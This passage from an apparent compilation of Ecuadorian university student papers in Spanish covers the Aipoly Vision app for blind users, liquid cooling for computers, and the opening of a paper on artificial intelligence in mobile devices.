Marcha con una nube en la web, la misma que sirve como unidad de retroalimentación. Los favorecidos no están forzosos a subir todo lo que orientan. Es una App para ciegos; convierte el celular en un “*Lector Del Mundo*”

SUBDIVISIONES

- **Indicadores Acústicos**

Las señales acústicas se indican mediante dispositivos específicos ya es algo que está pasando en el lugar de transmisión, estos pueden convertir en un ejemplo claro los que son señales

visuales en señales sonoras o también se puede aumentar el volumen de dispositivos normales. (Burgui)

Las señales acústicas se han convertido en un medio de información que se utiliza en varios entornos ya que son útiles para dichos medios especialmente para personas que poseen alguna discapacidad que son quienes más utilizan estos dispositivos cuando se encuentra en alguna situación de peligro y alarma. Las características de estas señales deben ser de tal forma que cualquier individuo pueda reconocer las señales, es decir tener una buena recepción en cualquier ámbito.

- **Síntesis De Voz**

Esta síntesis también denominada del habla es la producción artificial del habla. Se realiza mediante un sistema computarizado que es usado con este propósito y es llamado computadora de habla o sistematizado de voz y puede ser implementado en productos de software y hardware.

Un sistema *TEXT-TO-SPEECH* se convierte en el lenguaje de texto normal de habla: otros sistemas recrean la representación simbólica lingüística como transcripciones fonéticas en habla.

La calidad de un sistema de voz se juzga por la similitud que haya con la de un ser humano y sus habilidades para ser entendido con exactitud. Un sistema de conversión de texto un habla legible permite que las personas con diferentes discapacidades o dificultades para leer puedan escuchar textos en una computadora. Muchos sistemas operativos constan con este tipo de sistemas ya que viene integrado desde los noventa.

Cámaras De Video

(Gonzáles, 2017) Según informes realizados los celulares inteligentes hoy en día cuentan con la incorporación de cámaras de video. La totalidad de estos celulares son de escala muy alta como lo son los sistemas operativos de Android, Apple, etc. Dichos dispositivos tienen cámaras, con resultados satisfactorios preparados de capturar videos de alta definición.

Sistema Operativo iOS

Originalmente desarrollado por el iPhone, después se ha usado en dispositivos como el iPad touch y el iPad. Su fecha de lanzamiento fue desde un inicio el 29 de junio del 2007, escrito en un lenguaje de programación conocido como C++, objective -c, Swift, pero cuya licencia es solo permitida para Apple. IOS es un programa considerados móvil por Apple ya que utiliza la base del iPhone originalmente diseñada para este mismo, pero en sus versiones actuales es compatible para el iPad touch, iPad y Apple tv.

Detalles técnicos

Idiomas: español-inglés-italiano; Políticas de precio de software: Gratuito; Subdivisiones: Indicadores con señales acústicas; Dispositivos de entrada: Cámara de video; Dispositivos de salida: Síntesis de voz; Operating systems; Ios.

3. MATERIALES Y MÉTODOS

En la base teórica se utilizó el análisis-síntesis para descomponer el problema en elementos separados y posteriormente profundizar la investigación para entender más a fondo el uso de esta Aplicación Informática. Así como también se hizo uso de los métodos bibliográficos y referenciales para revisar antecedentes investigativos sobre la aplicación en cuestión. De acuerdo a la bibliografía se reveló que utilizaron varias entrevistas en las cuales se logró obtener, que la perdida visual está considerada uno de los mayores problemas a nivel mundial.

4. RESULTADO Y DISCUSIÓN

El impacto que tuvo en las personas no videntes fue impresionante e incluso motivó a más de estas personas que dudaban de la aplicación a su utilización, las mismas que obtuvieron resultados y beneficios claramente eficientes a su entorno.

Estadísticas promedio según Conadis ecuador (Pública, 2016)

El porcentaje de personas con discapacidad visual en el ecuador actualmente está en el rango del 12% (11,90 %) en todo el país. (ErikaRodriguez)

Porcentajes de la provincia de Manabí según Conadis el grado de discapacidad es del 10.38 % en toda la provincia, en una equivalencia del 100% se divide el género de la población.

Masculino:

55.32;

Femenino: 44.67; LGBTI: 0.01

Porcentajes de la provincia del Guayas según Conadis el grado de discapacidad es del 24.37 % en toda la provincia, en una equivalencia del 100% se divide el género de la población.

Masculino: 58.27; Femenino: 41.72; LGBTI: 0.01

Equivalente De Personas No Videntes Según Su Edad

5. CONCLUSIONES

Como resultado de la investigación realizada sobre la aplicación Aipoly Vision, es posible concluir que existe un promedio considerable de personas con discapacidad visual y con ello múltiples problemas con el entorno y la adaptación al mismo. La aplicación Aipoly Vision es un mecanismo por el cual muchos de los usuarios se beneficiarán, ya que en ella incorpora la inteligencia artificial, la cual traduce una fotografía en un mensaje de voz para el entendimiento del entorno en el que se encuentra la persona no vidente.

6. RECOMENDACIONES

Basado en la investigación realizada se recomienda que por parte de los GAD de cada Cantón se llegue con este tipo de tecnología a las personas con menos recursos, y la misma se distribuya de forma gratuita. Es necesario impartir seminarios sobre el funcionamiento, el uso correcto y el cuidado que debe tener la aplicación Aipoly Vision en su implementación.

7. BIBLIOGRAFÍA

Burguè, M. A. (s.f.). SEÑALES ACÚSTICAS EN AMBIENTES LABORALES .

Ficha Tècnica De Prevenciòn .

Cheng, M. (s.f.). Singularity University en Silicon Valley (Estados Unidos) .

Edwards, S. (s.f.). (S. U. Unidos), Entrevistador)

Gonzáles, M. (2017). Wondershare Filmora. Obtenido de

<https://filmora.wondershare.es/virtual-reality/types-of-video-camera.html>

Martinez. (2004).

Muñoz, L. (03 de Marzo de 2017). Aipoly, una aplicación contra la discapacidad visual. Obtenido de experimenta:

<https://www.experimenta.es/noticias/tecnologia/aipoly-una-aplicacion-contr-la-discapacidad-visual/>

Pública, M. d. (05 de 2016). ConsejoDiscapacidades. Obtenido de

<https://www.consejodiscapacidades.gob.ec/wp-content/uploads/downloads/2018/03/index.html>

Rizzoli, A. (s.f.). (S. U. Unidos), Entrevistador)

Rizzoli, A. (2017). Feria de Tecnología CES . LAS VEGAS .

BIOGRAFÍA DEL AUTORES

Shayla Ayllin Cevallos Flores, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, graduada del bachillerato Administración en Sistemas, en la Unidad Educativa Fiscal Quince de Octubre del Cantón Jipijapa, Manabí, Ecuador.

Raquel Azucena Pita Salazar, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, graduada del bachillerato en Ciencias, en la Unidad Educativa Eduardo Granja Garcés del Cantón Pedro Carbo, Guayas, Ecuador.

Daniela Fabiola Pluas Cercado, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, graduada del bachillerato en Ciencias Sociales, en la Unidad Educativa Dr.Eduardo Granja Garces del Cantón Pedro Carbo, Guayas, Ecuador.

Alisson Briggite Rodriguez Perez, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, graduada del bachillerato en Contabilidad, en la Unidad Educativa Dr.Eduardo Granja Garces, del Cantón Pedro Carbo, Guayas, Ecuador.

Mario Javier Marcillo Merino. Docente de la Universidad Estatal del Sur de Manabí.

UTILIZACIÓN DEL ENFRIAMIENTO LÍQUIDO EN ORDENADORES

Carlos Andrés Villacreses Parrales

Genesis Michelle Rodríguez Sinisterra

Víctor Antonio Figueroa Castillo

Jennifer Elizabeth Chóez Calle

Ing. José Efraín Álava Cruzatty. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

carlosvillacresesparrales23@gmail.com

Resumen

El presente trabajo de investigación se fundamentó en dar a conocer como beneficia o afecta la implementación del enfriamiento líquido en ordenadores de la actualidad; dando a entender que al hacer el uso correcto de los componentes necesarios para su adquisición e implementación de esta técnica, los usuarios no cometan errores y puedan así afectar al ordenador; la cual se basa en la utilización del agua y se transporta mediante tubos, los mismos que estarán conectados a los diferentes componentes del case para poder lograr disipar la acumulación del calor dentro del mismo; con el fin de contribuir a su correcta implementación y así aprovechar el máximo su utilización. En la presente investigación se utilizaron diferentes métodos en la cual predominó el método análisis-síntesis, para el desarrollo de la misma; permitiendo así el manejo apropiado de los componentes sin que el ordenador sufra un mínimo desgaste en su hardware. Con el avanzar del tiempo las tecnologías emergentes integradas en un ordenador necesitarán un enfriamiento muy eficiente y eficaz, el cual cumpla con todas las expectativas de mantener un óptimo estado y por ende un buen funcionamiento del 99,9% de los ordenadores, ya sea para uso académico, laboral o personal.

PALABRAS CLAVE: enfriamiento liquido; ordenador; hardware; software.

Abstract

The present research work was based on making known how it benefits or affects the implementation of liquid cooling in current computers; implying that by making the correct use of the components necessary for its acquisition and implementation of this technique, users do not make mistakes and may thus affect the computer; which is based on the use of water and is transported by tubes, which will be connected to the different components of the case to be able to dissipate the heat accumulation inside it; in order to contribute to its correct implementation and thus make the most of its use. In the present investigation different methods were used in which the analysis-synthesis method predominated, for the development of the same; thus allowing the proper handling of the components without the computer suffering minimal wear on your hardware. As time goes by, the emerging technologies integrated in a computer will need a very efficient and efficient cooling, which complies with all the expectations of maintaining an optimal state and therefore a good functioning of 99.9% of the computers, either for academic, work or personal use.

KEYWORDS: computer; hardware; liquid cooling; software.

1. INTRODUCCIÓN

El enfriamiento líquido, sistema de refrigeración o en inglés “watercooling”, es una técnica que se implementan en los actuales ordenadores para controlar la temperatura de los componentes, en la cual se utiliza agua en vez de ventiladores o disipadores de calor (dentro del Case) así se obtienen excelentes resultados como mejorar el rendimiento y poder bajar la temperatura existente en el ordenador.

Se pretende que los usuarios adquieran e implementen esta técnica para así mejorar el rendimiento del ordenador puesto que es recomendable para aquellos que hacen uso de ciertas actividades que requieren que el mismo se esfuerce mucho más, lo cual permite llevar su capacidad de procesamiento al máximo sin que ocurra un sobrecalentamiento.

Un ordenador llega al límite de su rendimiento debido a sus aplicaciones que se están ejecutando o en cuales se está trabajando ocupen el mayor espacio tanto en memoria como en procesador, el mismo sufre de un aumento considerable de la temperatura es ahí necesario que intervenga una refrigeración; En mucho de los casos es necesario el aislamiento adecuado de los

componentes del case antes que se realice este tipo de técnica, que advierte las fallas que se pueden presentar en los mismos.

Dentro de las técnicas de enfriamiento líquido se dan a conocer el “Custom” y “All in One” la cual se diferencian de que la primera hace uso de tubos y requiere de un mayor mantenimiento; y la segunda está compuesta de bomba y radiador lo cual no requiere mantenimiento por lo que se mejora el rendimiento.

El utilizar ventiladores en los equipos favorece a las aplicaciones, pero el enfriamiento líquido contribuye para que se ejecuten de una manera rápida y no se presenten inconvenientes al trabajar con las aplicaciones.

Tener un ordenador no solamente implica que se mantenga bien refrigerado para mejorar su rendimiento sino también para alargar el ciclo de vida de sus componentes y así tengan una mayor durabilidad; por esta razón es importante tener conocimiento de las técnicas que se van implementando en la actualidad.

Se debe considerar que para implementar este tipo de enfriamiento se debe hacer un análisis de los factores que se relacionan con el ordenador, como por ejemplo: sus circuitos.

Esta técnica en la actualidad no solo se ha implementado en los ordenadores con tecnología avanzada; sino también en los Smartphone usando un esquema muy similar pero mucho más reducido como son las tuberías de calor o mayormente conocidos como “Heat Pipe”, es una sustancia líquida que recorre las zonas en las que se produce el alza de temperatura (calor), y su principal función es bajar o reducir dicho calor existente en el mismo.

Cabe recalcar que esta técnica se implementa en las computadoras actuales puesto que las antiguas versiones no funcionarían con igual eficiencia, su funcionamiento se basa en que a través de tubos el agua pasa por todos los componentes tanto así que saca el calor que se encuentre en el mismo volviéndose en un ciclo repetitivo.

El objetivo, es brindar a los lectores una investigación relacionada con los sistemas de enfriamiento líquido con más frecuencia usados ya sea para mantener el ordenador óptimo, así como mejorar el rendimiento; es decir de cualquier manera alargar el tiempo de vida del procesador y sus componentes.

El impacto que tendrá en los usuarios es que aceptable ya que es una técnica muy eficaz eficiente y además muy innovadora que permitirá el buen funcionamiento de un ordenador siempre que se haga uso de una técnica apropiada.

2. DESARROLLO

La refrigeración líquida o sistema de refrigeración, basa su ejecución en las propiedades térmicas de los líquidos que son conductivos; necesita de un componente como lo es la bomba la cual su función principal consistirá en transportar el agua por todos los componentes que contiene el ordenador; cuyo líquido que se transporta por todos los circuitos pasa por la memoria RAM, procesador, placa base y la tarjeta gráfica, como se muestra en el Gráfico N.1; una vez que el líquido enfría los componentes este se calienta, al mismo tiempo el líquido pasa por el radiador y los ventiladores internos del mismo hacen que el líquido se enfríe y vuelva a realizar el mismo proceso. (Rodrigo , 2015).

GRÁFICO N. 1: Refrigeración líquida de un ordenador

Enfriamiento Líquido VS. Enfriamiento tradicional (aire)

Como es de saber cuándo una persona compra un ordenador ya armado, esto no genera preocupación por lo que ya viene con un enfriamiento adecuado para el ordenador; pero para aquellos que desean armar uno, se recomienda conocer el tipo de enfriamiento adecuado para los componentes internos del ordenador según la utilización que se la va a dar al mismo.

Con el pasar de los años se ha venido utilizando el enfriamiento tradicional, lo cual en muchos de los casos no es apto para aquellas personas que desean llevar al máximo el ordenador y a

cada uno de sus componentes como es el procesador, la RAM, tarjeta gráfica y en alguno más en función al modelo.

Y es por esta razón saber la diferencia entre el sistema de enfriamiento tradicional y el enfriamiento líquido, lo cual se detalla a continuación:

Enfriamiento con aire o tradicional

El enfriamiento se ha implementado en mundo de la tecnología, haciendo uso de ventiladores; lo cual expulsa el calor existente en los componentes del ordenador.

Este tipo de enfriamiento tiene sus PROS como son:

- ✓ Son muy económicos.
- ✓ Son muy fáciles de colocar, lo cual solo se debe ajustar tornillos y saber su ubicación correcta.
- ✓ Solo se debe limpiar el polvo regularmente.

Entre sus CONTRAS se menciona:

- ✓ Son muy ruidos especialmente si la computadora está a su límite de uso.
- ✓ Si se necesita utilizar más ventiladores también se necesitar mayor espacio; es decir un case más grande.
- ✓ Tal es el caso que son menos eficientes, puesto que enfría todo a la vez mas no uno específico.

Sistemas de enfriamiento líquido

En la actualidad existen diferentes enfriamientos líquidos los cuales podemos mencionar:

- ✓ **Sistemas por inmersión:** Su principal función es sumergir el ordenador que se va a enfriar en un el líquido que tenga poca conductividad eléctrica, esto puede ser aceite o agua.
- ✓ **Sistemas de refrigeración con metal líquido:** Este sistema usa una bomba con tubos por el que circula el líquido, el cual circula por todos los componentes.

- ✓ **Sistema de refrigeración Termoeléctrica:** Este sistema hace uso de técnicas denominadas industriales para expulsar el calor que se encuentra en los componentes de un ordenador.
- ✓ **Sistemas de refrigeración Heatpipes:** Esta es una técnica de flujo continuo natural que dilata los líquidos; al calentarse circulan para que realicen su respectivo enfriamiento y así con ello enfriar al procesador.
- ✓ **Sistemas de refrigeración de cambio de fase:** Este refrigerante hace uso de gases que sean ideales y termodinámicos que funcionan para crear máquinas capaces de hacer que los circuitos del ordenador se enfríen.
- ✓ **Sistemas de refrigeración por criogenia:** Este sistema se basa en utilizar hielo seco o nitrógeno líquido, lo cual requiere mantener el ordenador a una temperatura baja manteniendo así los componentes bien fríos.
- ✓ **Sistemas de refrigeración por propulsión de aire electrostático:** Esta técnica es experimental ya que hace uso de una bobina de viento y esta permite que se realice el enfriamiento proporcionalmente en los componentes que tiene el ordenador.

Enfriamiento líquido

Este tipo de enfriamiento utiliza un líquido, normalmente agua, como sustancia para enfriar cada uno de los elementos del ordenador. La particularidad de esta técnica es que expulsa el calor de los diferentes elementos, muy parecido a los reactores nucleares; así permitiendo que su temperatura disminuya.

Su principal función es expulsar el calor de cada uno de los elementos del Case, lo que no se puede hacer con el que viene incorporado en los ordenadores por defecto (aire o tradicional); esta técnica es mucho más complicada de armar ya que se requiere bloques de agua, un radiador, tubos y bombas. Por lo que un usuario común no optaría por este método ya que resulta costoso y complicado de implementar, este método, sería mayormente implementado por usuarios Gamers o aquellos que realizan actividades exigentes. (Franco , 2013).

Elementos necesarios para implementar la refrigeración líquida

Para implementar una refrigeración líquida “parte por parte” o por “kits”; es recomendable la primera, por lo que algunos kits no satisfacen a los “overclocking” y “modders”. La marca en algunos de los kits es muy imprescindible, puesto que el diseño de sus componentes mejore el rendimiento que se requiere para optimizar el ordenador.

- ✓ **Bloque del microprocesador:** Su función es intercambiar la temperatura (calor) con el procesador, para así aumentar el rendimiento en su reloj como en el voltaje.
- ✓ **Bloque para disco duro:** permite que el calor se intercambie entre los discos duros existentes, elemento que produce mucho calor con su uso a través del tiempo, por lo que muchos de los casos pueden causar fallas de escritura e incluso de lectura, incluido la pérdida de sus datos.
- ✓ **Bloque para tarjeta gráfica:** la función principal de este bloque es intercambiar el calor que se presenta en el circuito de la misma.
- ✓ **Pasta térmica:** elemento utilizado para la conducción del calor generado por los dispositivos del ordenador, como el procesador y sus diferentes circuitos.
- ✓ **Bomba:** su función principal es conducir el agua de los circuitos para así que esta no se quede estático dentro del ordenador.
- ✓ **Depósito:** unidad que permite sufragar las pérdidas a través de las reservas de fluidos; e incluso cumple las funciones de los refrigerantes.
- ✓ **Radiador:** Por este componente pasa el líquido y se enfría para que así vuelva realizar su ciclo repetitivo. (Morza, 2018).

Ventajas:

- ✓ Su rendimiento es notoriamente más avanzado a los disipadores por aire.
- ✓ Se puede refrigerar todos los elementos de un ordenador.
- ✓ No es ruidoso al momento que se está ejecutando, aunque depende de la bomba y los ventiladores que se obtenga.

Desventajas:

- ✓ Su adquisición podría resultar costosa.
- ✓ Se pueden presentar inconvenientes al momento de armarlos o instalarlos.
- ✓ Exige una constante revisión o mantenimiento.
- ✓ Es necesario rellenar continuamente el líquido refrigerante.

- ✓ En caso de que se dañe uno de los tubos o exista una polilla en los mismos podría dañar el ordenador.
- ✓ Requiere Case compatibles para realizar la refrigeración líquida.

Materiales a emplear en una refrigeración líquida

El realizar una refrigeración requiere de técnicos expertos que conozcan el cómo funciona su implementación y sobre todo de sus beneficios en un ordenador; entre sus componentes encontramos los siguientes:

- ✓ El radiador.
- ✓ El tubing (se trata del tubo por donde circula el refrigerante).
- ✓ El refrigerante (glicol de etileno o agua destilada).
- ✓ Accesorios para el montaje.
- ✓ La bomba (la cual produce que el refrigerante circule y cumpla su ciclo).
- ✓ El depósito (Lugar donde el refrigerante regresara cada vez que cumpla su ciclo).
- ✓ Bloque del CPU (Case compatible para la implementación de esta técnica).
- ✓ Kits (las instrucciones e indicaciones para la debida instalación).

Al finalizar la debida instalación de esta técnica se debe realizar un testeo a la refrigeración, la cual es similar a la de un disipador, omitiendo el detalle de que al usar agua, la temperatura tarda más en cargar puesto que debe de calentarse todo el circuito de igual manera que la de enfriarse todos sus componentes.

Tipos de Refrigeración Líquida

Refrigeración líquida “Custom”

Este tipo de refrigeración se implementa parte por parte. Tubos, racores, bomba; para ello se necesita mucha experiencia para evitar fugas de agua; permitiendo la refrigeración de los diferentes componentes como se ilustra en el Gráfico N.2.

GRÁFICO N. 2: Refrigeración líquida Custom en un ordenador

(PCPRO, 2017).

Custom está conformado por los elementos siguientes:

- ✓ **Bomba:** Esta destinada a impulsar el líquido por todos los componentes que se encuentran en el circuito.
- ✓ **Bloque:** Su función es a realizar es intercambiar el calor que se genera y el líquido que se transporta en el componente a refrigerar.
- ✓ **Radiador:** Elemento el cual cumple la función de enfriar el líquido caliente que viene de los distintos bloques.
- ✓ **Depósito:** Elemento opcional, pero para un mayor rendimiento es necesario, ya que facilita el llenado y limpiado del circuito.
- ✓ **Colector o Tubo:** Elemento que hace que su función principal es hacer fluir el refrigerante por todos los elementos del ordenador en especial los circuitos.
- ✓ **Rácores:** Une los tubos existen con los componentes del ensamblado.
- ✓ **Líquido refrigerante:** Elemento que su función principal es pasar por cada uno de los componentes del ordenador y así bajar su temperatura.
- ✓ **Biocida:** Líquido que se encarga de prevenir la aparición de algas en el líquido que recorre en el ordenador. (steemit beta, 2018).

Refrigeración líquida Todo en Uno / All in one

En este tipo de refrigeración cada una de sus piezas se adquiere individualmente, por lo cual se debe instalar la bomba y el radiador; existe mucha diferencia con los de custom por lo que no se necesita de un mantenimiento constante y su mayor ventaja se debe a que son fáciles de implementar; como se ilustra en el Gráfico N.3.

GRÁFICO N. 3: Refrigeración líquida “All in One” o “Todo en uno” en un ordenador.

(PCPRO, 2017).

Funcionamiento

El refrigerante se acumula en un depósito, es movido por una bomba, a través de los tubos que son los encargados para que circulen por los componentes; cuando el fluido ha cumplido su proceso, se dirige al radiador para enfriar el calor producido, y bombear nuevamente, formando así un ciclo cerrado de refrescamiento.

Se fundamenta en el principio de transferencia ya que la energía calórica va del objeto más caliente a un objeto más frío o más refrigerado. El proceso que realiza el refrigerante es en recorrer todos los circuitos del ordenador y este a su vez pasa por la pieza denominada radiador para así enfriarse y poder volver a realizar el mismo proceso al que está destinado. (Culturación, 2010).

Para que se realice una refrigeración correcta se debe tener en cuenta los requerimientos o normas que implica la adquisición e implementación de esta técnica.

Refrigeración al ambiente externo

Las condiciones de temperatura que debe tener si se encuentra en un ambiente externo se fundamentan en lo siguiente:

- ✓ Clima del área donde se encuentre el ordenador.
- ✓ Hermetizar la implementación de la refrigeración líquida.
- ✓ Correcto mantenimiento a un ordenador.
- ✓ Eliminación de polvo y grasa (es recomendable que se tenga el ordenador con aire acondicionado).
- ✓ Si la temperatura oscila entre los 10 a 32°, esto se hace para que no exista ningún inconveniente en el sistema de enfriamiento.

Refrigeración al ambiente interno

El ordenador debe tener las siguientes especificaciones en su temperatura y se fundamenta en las siguientes:

- ✓ Dentro del ordenador debe quedar espacio para los tubos que se implementen no tengan un espacio reducido.
- ✓ El CPU debe quedar completamente cerrado y atornillado debido a que el polvo o la suciedad puede ingresar.
- ✓ Exposición al sol lo que puede afectar a nuestro ordenador.
- ✓ Se debe configurar correctamente las conexiones, teniendo en cuenta una mala conexión o un corto circuito puede dañar el equipo.

Mantener habilitadas las opciones de suspensión, hibernación y apagado del ordenador para que no se presente fallas en el sistema. (López, 2017).

3. MATERIALES Y MÉTODOS

La técnica del enfriamiento líquido no solo se podrá apreciar en ordenadores sino también en smartphone, las mismas que con el avanzar del tiempo tendrá mejores acogidas y se dejará en el pasado el enfriamiento tradicional o también conocido como enfriamiento de aire.

Se utilizaron métodos teóricos como el análisis-síntesis para el desarrollo de la investigación y posteriormente profundizar la misma, en la cual como característica principal tiene dar un aporte a la sociedad de cómo implementar y utilizar el enfriamiento líquido en ordenadores.

En la investigación se desglosan diferentes aportaciones, permitiendo que los usuarios indaguen en el tema para ello se hace referencia a los conceptos más relevantes; conjuntamente con ello estos conocimientos son procesos que facilitan a los lectores no solo a conocer su funcionamiento, su estructura y sus diferentes componentes.

4. RESULTADOS Y DISCUSIÓN

Al implementar el enfriamiento líquido en un ordenador se logró reducir la temperatura del procesador en un 11%, a su vez el rendimiento de una tarjeta gráfica aumentará en un 18%; es decir sus recursos no se verán forzados y sus componentes internos extenderán su vida útil.

5. CONCLUSIÓN

Se brindó a los lectores una investigación relacionada con los sistemas de enfriamiento líquido con más frecuencia utilizados, para mantener el ordenador óptimo, así como mejorar su rendimiento; es decir de cualquier manera alargar el tiempo de vida del procesador y sus componentes.

6. BIBLIOGRAFÍA

Culturación. (11 de Septiembre de 2010). Cuándo utilizar refrigeración líquida en tu computadora. Obtenido de culturacion.com: <http://culturacion.com/cuando-utilizar-refrigeracion-liquida-en-tu-computadora/>

Franco , R. (19 de Diciembre de 2013). Enfriamiento tradicional vs enfriamiento líquido: ¿cuál es mejor? Obtenido de hipertextual.com: <https://hipertextual.com/archivo/2013/12/enfriamiento-aire-vs-liquido/>

- López, I. (30 de Noviembre de 2017). La refrigeración de las computadoras / CoolingComputers. Obtenido de jovenclub.cu: <https://revista.jovenclub.cu/la-refrigeracion-de-las-computadoras/>
- Morza. (19 de Febrero de 2018). Refrigeración líquida (informática). Obtenido de wikipedia.org: [https://es.m.wikipedia.org/wiki/Refrigeraci%C3%B3n_l%C3%ADQUIDA_\(inform%C3%A1tica\)](https://es.m.wikipedia.org/wiki/Refrigeraci%C3%B3n_l%C3%ADQUIDA_(inform%C3%A1tica))
- PCPRO. (16 de Diciembre de 2017). REFRIGERACIÓN LIQUIDA. Obtenido de pcpro.es: https://pcpro.es/componentes-pc-gaming/refrigeracion-liquida/#TIPOS_DE_REFRIGERACIONES_LIQUIDAS
- Rodrigo , A. (11 de Febrero de 2015). hardzone.es. Obtenido de Refrigeración líquida vs por aire, ¿Cuál merece más la pena?: <https://hardzone.es/2013/12/22/refrigeracion-liquida-vs-por-aire-cual-merece-mas-la-pena/amp/>
- steemit beta. (02 de Febrero de 2018). Refrigeración líquida custom en PC. Obtenido de steemit.com: <https://steemit.com/spanish/@mpandrew/refrigeracion-liquida-custom-en-pc>

BIOGRAFIA DEL AUTOR

Carlos Andrés Villacreses Parrales, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas, en la Unidad Educativa Fiscal Quince de Octubre, del Cantón Jipijapa, Manabí, Ecuador.

Genesis Michelle Rodríguez Sinisterra, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas en la Unidad Educativa Salesiana " María Auxilidora" de la ciudad de Esmeraldas, Esmeraldas, Ecuador.

Victor Antonio Figueroa Castillo, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Servicio de Comercialización y Ventas,

en la Unidad Educativa Fiscal Manuel Inocencio Parrales y Guale, del Cantón Jipijapa, Manabí, Ecuador.

Jennifer Elizabeth Chóez Calle, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración en Sistemas, en la Unidad Educativa Fiscal Quince de Octubre, del Cantón Jipijapa, Manabí, Ecuador.

INTELIGENCIA ARTIFICIAL EN LOS DISPOSITIVOS MÓVILES

Geomayra Stefany Cevallos Pin

Jefferson Adrián González Quijije

Ing. Jimmy Leonardo Gutiérrez García. Mg.

Renzo Alexander Tómalá Solórzano

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

stefany2623@hotmail.com

Resumen

Las tecnologías que se aplican en los equipos móviles en la actualidad, se lo llama inteligencia artificial; este gran aporte en los equipos tecnológicos móviles se los está empleando en los sistemas de Smartphone y en Android, en la cual brindan una mejor calidad de vida, así señala Fabio Arenas “que esta tecnología es muy eficaz porque tiene un campo natural para su desarrollo por sus capacidades de personalización; es decir, saben nuestra ubicación de lugares frecuentados, trabajos y hogar que pueden relacionarse con el exterior y es el centro en el que conviven muchas de muestras principales aplicaciones: calendario, correo, mapas, tareas, bancos, redes sociales, fotos” (Arenas, 2017), la cual se ha incrementado en los últimos años consideradamente la demanda de inicializar la implementación de la inteligencia artificial en todos los demás dispositivos móviles. Los dispositivos móviles que contienen esta implementación, han facilitado a muchos de los usuarios ya que gracias a la inteligencia artificial proporciona y orienta sobre sus actividades que tienen que realizar, sobre el clima y otras actividades siempre y cuando estén programadas.

PALABRAS CLAVE: calidad, implementación, innovación.

Abstract

The technologies that are applied in mobile equipment today, it is called artificial intelligence; This great contribution in the mobile technological equipment is being used in the Smartphone and Android systems, in which they provide us with a better quality of life, Fabio Arenas points out to us "that this technology is very effective because it has a natural field for its development

by its personalization capabilities; that is, they know our location of frequented places, jobs and home that can be related to the outside world and it is the center where many of the main applications live together: calendar, mail, maps, tasks, banks, social networks, photos " (Arenas, 2017) which has increased in recent years considered the demand to initialize the implementation of artificial intelligence in all other mobile devices. The mobile devices that contain this implementation, has facilitated many of the users since thanks to the artificial intelligence it provides and guides on their activities that they have to carry out, on the climate and other activities as long as they are programmed.

KEYWORDS: *quality, implementation, innovation.*

1. INTRODUCCIÓN

Las palabras "Inteligencia artificial" siempre han sido sinónimas con el plano futurista. Sin embargo, la realidad demuestra que ese grado de tecnología han sido capaces de alcanzar y que sin duda seguirá innovando a lo largo del tiempo. La evidencia de que este "futuro" ya es presente y está en dispositivos móviles ya tomando esta tecnología y presentando esta tecnología. Según (anca, 2009) “Si bien parece que es una tecnología del presente, los científicos e investigadores computacionales llevan trabajando en ella desde la década de los cincuenta”. Fue precisamente en 1956, durante la Conferencia de Dartmouth (Estados Unidos), cuando la Inteligencia Artificial recibió su nombre -acuñado por John McCarthy- y se estableció como disciplina dentro de las ciencias computacionales. Un año antes, en la propuesta para celebrar el citado evento, McCarthy, junto con otros tres científicos, ya ofreció las bases de la nueva disciplina, que profundizaría en la conjetura de que "cada aspecto del aprendizaje o cualquier otra característica de la inteligencia puede en principio ser descrita con tanta precisión que una máquina puede ser fabricada para simularla" (company, 2018)

En la actualidad, los sistemas de Inteligencia Artificial se basan en lo que se ha llamado aprendizaje automático o aprendizaje de máquinas ('machine learning'). Es decir, una máquina que puede ser un ordenador o un móvil, aprende lo que tiene que hacer sin que haga falta escribir las instrucciones. Estas máquinas 'aprenden' de bancos con grandes cantidades de datos y utilizan algoritmos para detectar patrones y actuar de forma predictiva” (company, 2018)

La inteligencia artificial móvil es sin duda, la protagonista de la próxima década en smartphones. Al día de hoy, no tiene sentido elegir un terminal que va a durar poco más de dos años en base a promesas de futuro. Desde que Huawei presentara el chip Kirin 970 de HiSilicon, no hemos dejado de hablar de inteligencia artificial móvil. Se ha convertido en una de esas palabras que se ponen de moda y comienzan a aparecer en las partes más inesperadas de cualquier presentación de producto. Huawei le ha dedicado muchísima publicidad, Apple hizo lo propio en el lanzamiento de los nuevos iPhone, LG ha lanzado un terminal que artificialmente se quiere diferenciar con ella y Qualcomm, que podría haberse publicitado desde hace años en ese sentido, sólo lo ha hecho cuando el término ha llegado a boca de todos. No, la inteligencia artificial en móviles no es humo, no es simple marketing ni es un timo con el que vender más terminales. Los chips dedicados a resolver cálculos empleando aprendizaje automático y redes neuronales presumen de realizar esas tareas con hasta 25 veces más velocidad que las CPU tradicionales, a la vez que son hasta 25 veces más eficientes. “ (company, 2018)

2. DESARROLLO

¿Qué es inteligencia artificial?

La inteligencia artificial (IA), es la inteligencia llevado a cabo por máquinas. En ciencias de la computación, una máquina «inteligente» ideal es un agente flexible que percibe su entorno y lleva a cabo acciones que maximicen sus posibilidades de éxito en algún objetivo o tarea. Coloquialmente, el término inteligencia artificial se aplica cuando una máquina imita las funciones «cognitivas» que los humanos asocian con otras mentes humanas, por ejemplo: “aprender” y “resolver problemas”. Andreas Kaplan y Michael Haenlein definen la inteligencia artificial como "la capacidad de un sistema para interpretar correctamente datos externos, para aprender de dichos datos y emplear esos conocimientos para lograr tareas y metas concretas a través de la adaptación flexible". A medida que las máquinas se vuelven cada vez más capaces, tecnología que alguna vez se pensó que requería de inteligencia se elimina de la definición. Por ejemplo, el reconocimiento óptico de caracteres ya no se percibe como un ejemplo de la «inteligencia artificial» habiéndose convertido en una tecnología común. Avances tecnológicos todavía clasificados como inteligencia artificial son los sistemas de conducción autónomos o los capaces de jugar al ajedrez o al Go.” (Rouse, searchdata, 2018).

Historia

